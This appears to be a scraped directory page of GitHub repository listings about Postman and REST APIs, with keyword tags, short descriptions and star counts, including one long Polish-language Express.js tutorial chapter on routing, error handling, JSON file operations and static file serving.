account, application, auth, bridge, countries, development, display, email, enable, enables, event, form, general, github, image, images, link, local, location, mail, notification, play, public, report, script, section, solution, solutions, stat, status, support, things, user, video 		iReporter enables any/every citizen to bring any form of corruption to the notice of appropriate authorities and the general public. Users can also report on things that needs government intervention. Corruption is a huge bane to Africa’s development. African countries must develop novel and localised solutions that will curb this menace, hence the birth of iReporter. ### Features 1. Users can create an account and log in. 2. Users can create a red-flag record (An incident linked to corruption). 3. Users can create intervention record (a call for a government agency to intervene e.g repair bad road sections, collapsed bridges, flooding e.t.c). 4. Users can edit their red-flag or intervention records. 5. Users can delete their red-flag or intervention records. 6. Users can add geolocation (Lat Long Coordinates) to their red-flag or intervention records . 7. Users can change the geolocation (Lat Long Coordinates) attached to their red-flag or intervention records . 8. Admin can change the status of a record to either under investigation, rejected (in the event of a false claim) or resolved (in the event that the claim has been investigated and resolved) . Optional Features 1. Users can add images to their red-flag or intervention records, to support their claims. 2. Users can add videos to their red-flag or intervention records, to support their claims. 3. The application should display a Google Map with Marker showing the red-flag or intervention location. 4. The user gets real-time email notification when Admin changes the status of their record. 5. The user gets real-time SMS notification when Admin changes the status of their record. ## Built With * HTML, CSS, Javascript * Python, Flask APIs * Postgres SQL ## Tools Used * Pivotal Tracker * github * Postman * Heroku ## Version v1.0 ## Authors * **Baker Sentamu** ## iReporter Demo UI Link ## Acknowledgments * Andela Learning Facilitators 0 stars 0 watchers 0 forks
cpvariyani/identity-server-4-policy-based-authorization-.netcore
admin, auth, authorization, demonstrate, enable, enabled, entity, example, http, https, integrate, integrated, microservice, microservices, public, role, sample, secure, server, server., service, services, spec, test, tested, user, users, video, youtube 		Identity Server 4 Role-based Authorization in .Net Core 2 Microservice, In this video, we have enabled the role based authorization using the Identity server. we have created 2 users admin and user and created the respective policy in microservices. In part 1, we have seen how to secure the public microservice, in this part, we have demonstrated how we can implement role-based authorization in Identity server 4 and .Net core. Creation of Identity Server4 in .Net core to secure public microservices with a practical example is explained here. In the part 1 of video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. Part 1 Create Identity Server 4 in .net core to secure Public microservices https://www.youtube.com/watch?v=LVYEq... Part 2 Identity Server 4 Role Based Authorization in .Net Core 2 Microservice 0 stars 0 watchers 0 forks
povilaspanavas/PostmanProblemFixer
curl, enable, enables, expect, find, form, format, host, import, move 		Reformats text in cliboard. It expects to find there curl and move host from the end to the start. This enables Postman to import a coppied curl from Charles successfully. 0 stars 0 watchers 0 forks
TheChronicMonster/RESTful_BC_API
enable, enables 		Node.js + Express RESTful API that enables GET and POST requests via CURL and Postman 0 stars 0 watchers 0 forks

updated (11 listings) (Back to Top)

lojabasico/shopify-postman
shopify, updated 		An updated Postman Collection repository for all Shopify API Endpoints 149 stars 149 watchers 47 forks
chibaba/CRUD-Mongoose
application, extension, mongo, mongoose, updated 		created, updated and delete application with mongoose using postman extension 1 stars 1 watchers 1 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
Pal0720/Dec-api
application, data, database, details, endpoint, example, following, form, framework, function, functions, implementation, implementations, list, memory, multiple, names, product, products, retrieve, script, security, send, service, single, spec, store, stores, updated 		Build a RESTful API/MICROSERVICE with the following implementations : The API/Microservice must perform these basic CRUD Operations : - Accepts a request to add a new entry into the database. - Accepts a request to update an existing entry into the database. - Accepts a request to retrieve all the existing entries from the database. - Accepts a request to retrieve a single entry with respect to a particular field (ID, Name, etc.. ) from the database. a. Products : Products Table Schema : Decathlon_Products ProductID | ProductName | ProductSport | ProductLevel | ProductDescription | AssociatedStores | b. Stores : DB Table Schema : Decathlon_Stores StoreID | StoreName | StoreCity | Note : 1. 'AssociatedStores' is the field to capture the StoreIDs in which the product is available. It can be multiple stores. 2. Both Products and Stores API can be called separately and together to perform the above mentioned functions. For Ex: Expose one endpoint (for example: /stores/{store_id}/products/{product_id} ) to retrieve the details of the product associated to a store. Expose one endpoint ( /stores/store_id/products ) to list all the products available in that particular store. 3. IDs and names cannot be updated. 4. You can use Spring Boot(Java) or Django Framework (with Python) or any framework you are comfortable with to build the application with Maven. 5. You can use an in-memory database : H2/Apache Derby. 6. You can use Postman as the REST Client to send requests. Security : Implement a Basic Authorization security mechanism, which is validated on all requests. 0 stars 0 watchers 1 forks
AmulyaChen/classScheduler
application, assignment, automat, automatic, automatically, class, content, contents, course, schedule, select, test, testing, updated, user, util, weather 		University project:create an application that will change a course schedule When an application user select the first day of class, the application needs to change the dates in course schedule automatically If a class is canceled due to inclement weather, entire dates should be updated If the class didn’t finish the topics as scheduled, contents of course, quiz and assignment schedule should be updated You may create a separate UI for testing purposes or utilize a Tool like SoapUI or PostMan. You will need to use the latest of: Java 8 Spring Framework MySQL or Maria DB 0 stars 0 watchers 0 forks
amulyachennaboyena/ClassSchedulerUsingSpring
application, assignment, automat, automatic, automatically, class, content, contents, course, schedule, select, test, testing, updated, user, util, weather 		University project:create an application that will change a course schedule When an application user select the first day of class, the application needs to change the dates in course schedule automatically If a class is canceled due to inclement weather, entire dates should be updated If the class didn’t finish the topics as scheduled, contents of course, quiz and assignment schedule should be updated You may create a separate UI for testing purposes or utilize a Tool like SoapUI or PostMan. You will need to use the latest of: Java 8 Spring Framework MySQL or Maria DB 0 stars 0 watchers 0 forks
ayushkr07/postman_updated
description, script, updated 		No description available. 0 stars 0 watchers 0 forks
debokhusi123/postman-client-springbootupdatedelete
boot, client, description, script, spring, springboot, updated 		No description available. 0 stars 0 watchers 0 forks
joachimdalen/postman-collection-watcher
automat, automatic, automatically, collection, notify, postman collection, updated, util, utility 		A utility to automatically update and notify you when postman collection can be updated 0 stars 0 watchers 0 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks
rubenRP/covid-map
covid, data, maps, resource, resources, source, updated 		App creted with GatsbyJS and Leaflet maps to show COVID19 updated data using Postman COVID19 resources. 0 stars 0 watchers 0 forks

general (11 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. 